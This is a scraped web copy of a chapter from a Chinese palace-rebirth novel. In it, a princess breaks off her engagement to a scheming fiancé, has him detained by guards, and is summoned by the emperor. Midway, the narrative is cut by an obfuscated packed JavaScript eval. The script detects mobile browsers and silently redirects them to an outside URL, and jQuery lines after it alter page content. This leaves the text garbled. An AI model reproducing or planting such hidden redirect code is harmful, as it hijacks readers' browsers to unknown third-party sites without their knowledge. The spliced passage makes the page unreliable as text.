2. 退婚
作品:《皇女为帝》 看着他恼怒的样子,祝景乾冷笑一声,挑了挑眉:“怎么,你并不喜欢我,如今我放你一马,回去和喜欢的人成亲,不好么?”
赵渭沉声反问:“当初是公主殿下选中了我作驸马,我敬重陛下,不敢不从,如今公主殿下悔而无信,算不算是忤逆皇命?”
“别恐吓我,没有用,待我把事情始末回了父皇,凡事自有定夺!”祝景乾倨傲地看着他,冷笑道。
赵渭越发觉得奇怪,起初他做好了这位公主撒泼胡闹的准备,并且有十足的信心把她哄好,可现在她竟然言之凿凿地要退亲,不像被愤怒冲昏头脑的样子,而且字字在理,神色冷峻,反倒像是深思熟虑的结果。
祝景乾不想再废话,转而吩咐轻烟:“让罗虎立刻带人来见我!”
轻烟得诏,连忙跑开,门外的侍从面面相觑,不敢轻易阻拦。
罗虎是长公主府上的侍卫统领,管理着府上百来名府兵,只效忠于祝景乾,几乎是死士一样的存在。
很快,一众真刀实枪的府兵包围了这个侧厢房,铁甲声不绝于耳。
赵渭听到外头声响,神色大变,却不知道她要做什么。
“我们是圣旨赐婚,你这样做,无疑是自损皇家颜面,对我和对你都没有好处。”他阴沉着脸,压低声音,还试图和她讲道理。
“自损皇家颜面?”祝景乾觉得很好笑,“你这样做,难道不是损我颜面在先?”
“把事情闹的这样大,也不怕外头议论吗?”
“你也知道怕外头议论?你做出这样的事情之前怎么没有想过?”
祝景乾说完这番话后,懒得继续搭理他,转身朝罗虎下令:“从现在开始,没有我的允许,不许放走一个人。”
“是!”罗虎没有问为什么,很快应答下来。
赵渭顿时又惊又怒,厉声道:“我如今是陛下的臣子,你身为皇子,更不该私自处置我,这是在蔑视皇权!”
祝景乾猛然盯着他,眼睛眯起来,像一条毒蛇,一个字一个字道:“不许朝我乱泼脏水,否则我马上拔了你的舌头。”
赵渭被她的气势吓到,一时不敢再说什么。
身后的女人终于忍不住,开始哭哭啼啼起来:“阿渭,怎么办啊?我不想留在这里!”
赵渭心烦意乱地推开她,三两步跑下床,想拉住祝景乾,守在一旁的罗虎见状,直接拔出长刀,直指赵渭的喉间。
长刀闪烁着阴冷的光芒,一看就是见过血的好刀,纵使再愤怒,赵渭也不敢再继续往前半步了。
罗虎转动手腕,把刀柄换了一个方向,又猛地往下一挥,结结实实打在赵渭的膝盖窝子上,痛得他双腿一软,膝盖砸到地上,发出一声惨叫声。
祝景乾没有回头,一甩袖子便疾步走出了东院,留下了身后的一片狼藉。
她头也不回地走出一小段路,直到走远了才放慢脚步,轻烟紧紧跟着她,一言不发。
直到走到一处回廊,她才停下来,转头看着东院隐隐约约的屋檐,神色依旧凝重,不知道在想什么。
轻烟低着头,有些无措,想了想开口道:“殿下方才真是太威武了,奴婢还说殿下怎么突然不想成亲了呢,原来早就看穿了这小人。”
看着她极力打破尴尬气氛的样子,祝景乾紧绷的脸色终于出现了一丝裂痕,讪讪地挠了挠鼻子,想起自己上一世可一点没看出来,倒霉地被赵渭算计了半辈子。
不过轻烟很快又担忧地问:“那陛下那边怎么解释,殿下要如实相告吗?”
“嗯。”她轻轻点点头,如今自己仍是最受宠爱的长公主,自己有父皇撑腰,不怕压不过赵渭。
两人慢慢地走着,沿路上的家奴们训练有素,眼观鼻鼻观心,心中虽然疑惑,但也不敢抬头张望。
“殿下!”
背后传来了一道中气十足的高呼,祝景乾转头,看到一个两鬓斑白的太监朝自己跑来,她想起来了,这是府上的男仆总管岳川公公。
当祝景乾小时候还住在紫阳宫里时,岳川公公和福海嬷嬷便专门掌管宫中的大小事宜,所以当她搬入公主府后,这两位宫中老人自然也跟过来了。
福海嬷嬷负责成亲的对接事宜,此刻应还在宫中,岳川公公便暂领府上的所有事务,此刻急急寻找祝景乾,定是知晓了她方才大闹别院的事情。
“公公慢些!”她如今再次看到故人,颇为欣慰,连忙伸出手扶着岳川。
岳川气喘吁吁,看了祝景乾半天都说不出一句话来,一直把手放在胸口上顺着气。
“快让人拿盏茶来,”祝景乾吩咐轻烟,扶着岳川坐到旁边的凉亭里,“我知道公公要说什么,我等下就去找父皇认罪,有什么事情我来担。”
祝景乾自幼丧母,见不到父皇的时候,都是岳川公公和福海嬷嬷陪着她长大,她也拿两人当长辈一样敬重。
“哎……”岳川无奈看着祝景乾,叹了口气。
但他心中不由得疑惑起来,怎么公主殿下这次变得如此懂事,还会主动揽责?
“老奴早就说了,公主殿下切不可总是这般冲动,怎么能因为一面之缘就定下这般婚事,如今又生出许多是非。”见祝景乾明事理了不少,岳川竟然不知道该说什么,只好语重心长道。
“公公教训的是,景乾以后定三思而后行。”她低眉顺眼地答复,轻烟也在后面微微躬身。
“还好大礼未成,现在也不算太晚,就不知道陛下那边怎么想了。”
这句话让祝景乾有些疑惑,皱了皱眉道:“父皇一定会为我主持公道,难道还有其他可能吗?”
岳川公公欲言又止,显然是知道些什么,但是不好直说,祝景乾不想让他为难,道:“没事的,父皇这么宠爱我,最多训斥几句,择日再重新为我挑一个好郎君便是了。”
“但愿如此。”岳川公公也不好多说什么,微微点头,“老奴给宫里的福海嬷嬷传个话,让她先停下手头上的事儿,毕竟待会儿什么情况还未可知呢。”
祝景乾点点头:“好,先这样吧。”
待岳川公公走远后,她坐在回廊下的长椅上,仔细梳理着混乱的思绪。
经历了这么多事情之后,她的性子沉稳了许多,不再像从前那般意气用事,如今反而有些后知后觉地踌躇起来。
如果赵渭不同意退婚,还把此事闹大,大肆宣扬自己蛮横无理,又该如何应对?
不过赵渭善于隐忍,方才虽然一时失态,但也很快反应过来,以名声要挟,可见十分在意名声,所以他绝对不会放弃迎娶自己,放弃飞黄腾达的机会的。
可是此乃皇家丑闻,父皇定然不会当众处置赵渭,那么又会以什么样的罪名安置他呢?
她越想越乱,只觉得头疼不已。
“殿下出了汗,还是先回去换身衣裳吧,这秋越发凉了,身子坏了可不好。”轻烟看着她脸色有些憔悴,忍不住出言建议。
祝景乾低头看了看自己的打扮,原本奢华昂贵的红嫁衣此刻凌乱不堪,还被树枝划破了好几处,简直是暴殄天物。
头发有些松散,方才一路小跑,额间出了些汗,和脂粉融在一起,便显得有些油头粉面,狼狈不堪。
“好。”她站起身,自顾自地走着,似乎还在想着心事,疾步如风。
轻烟跟在她后面,不敢再像往常一般说闲话,只觉得自己的公主殿下,似乎有什么地方变了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810976|175235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
.
回到卧房中,祝景乾第一件事便是让轻烟把房中布置全部摘下来,免得惹人心烦。
此刻是初秋,天气依旧燥热,祝景乾急急地换上了一件较为素净的鹅黄短衫,才惊觉背后全是汗珠。
轻烟细细梳理着她的头发,祝景乾也在梳理着脑海里乱七八糟的念头。
从自己被推下城墙惨死,到重生回大婚之前,再到下令府兵软禁赵渭,明明发生了这么多事,却短暂得仿佛只是经过了短短一天。
看着镜中貌美年轻时自己,她竟生出了几分不真实感,恍如梦中。
轻烟沉默着,总觉得祝景乾的行为有些说不出来的奇怪……不过公主殿下性子向来古怪,自己身为奴婢,不该私下揣测。
“对了,沉玉和小蝶呢?”祝景乾见气氛有些不自在,便绞尽脑汁找着话题让轻烟安心,也好熟悉一下现在是什么情况。
沉玉是祝景乾的大丫鬟,老成持重,而小蝶是一年前元宵宫宴赵贵妃赠与的,只是祝景乾偶然提了一嘴自己常常腰酸背痛,赵贵妃便道小蝶是推拿按摩的好手,祝景乾不好驳回贵妃面子,半推半就地收作了贴身丫鬟。
祝景乾当然知道小蝶的身份,她是赵贵妃的眼线,暗中递送着公主府中的情报……当然,这是在上辈子她和赵渭成亲后的前提之下,如果自己不和赵渭成婚,那小蝶就不能从赵渭身上打听到前朝的动向了。
如此重要的日子,却只见到轻烟,那么沉玉和小蝶一定陪着福海嬷嬷在宫中等候。
“回殿下,是殿下昨日特地吩咐,让她们跟着福海嬷嬷进宫筹备大婚典礼的布置呀。”
“哦。”
她又想了一下,发现也没什么可聊的了,气氛又是异常沉默。
回想起方才和赵渭的对峙,她心里还是一阵抽疼。
曾经的年少夫妻竟成日后国破家亡的导火索,原来这么多年的相敬如宾、举案齐眉,全都是装出来的。
不过比起当时跌落城墙,粉身碎骨的痛苦,故国的消亡才是真正的绝望。
是年少轻狂的自己,间接导致了国破家亡。
她十分郁闷。
“公主殿下,陛下在宫中有请!”
门外岳川公公嘹亮的声音,让她猛地一清醒。
轻烟急忙开门,见到岳川恭敬地候在门口,连忙请他进来。
“老奴就不进去了,轻烟尽快替殿下打理东西,侧门有马车在等着,莫要耽误时间。”
祝景乾点点头,她并没有什么要收拾的东西,也不啰嗦,很快便赶到侧门。
只见侧门停着一辆朴素无比的马车,除了一个车夫外并无他人,她正疑心是不是被骗了,瞥到车夫驾着的那匹马,竟然是父皇钟爱的“飞鸿”。
看来是真的了,她深呼吸一口气,便由轻烟扶着坐上马车。
马车很快便上路了,飞鸿本是驰骋疆场的骏马,此刻让它拉着一架破旧的马车,属实有些委屈,车上的两人颠簸不堪,直呼头晕。
“疼死我了,不如让我亲自骑马……”刚才发生的事情或许还有些不真实,但此刻腰间的疼痛却是清晰无比的,祝景乾忍不住悄悄嘟囔。
“殿下靠着奴婢吧,背后的木枕太硬了……还有殿下什么时候会骑马了?”
车帘外的闹市声渐渐弱下来,应是车夫特地选了一条人少的道路,听不到让人心烦的杂音。
祝景乾好不容易放松下来,她闭上眼睛,难得地放空自己。
很快,皇城便到了,马蹄下是宽阔的青石板大路,两边皆是红墙黄瓦,依稀可见金殿巍峨,琉璃焕彩。
她呆呆地看着车外,一切繁华匆匆掠过,好似过眼云烟。